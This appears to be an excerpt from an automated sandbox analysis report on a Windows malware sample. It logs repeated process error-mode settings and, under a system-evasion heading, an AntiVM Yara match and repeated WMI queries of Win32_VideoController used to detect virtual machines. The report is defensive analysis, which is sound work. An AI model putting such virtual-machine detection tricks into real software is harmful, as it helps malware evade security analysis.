Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe PID: 6568, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
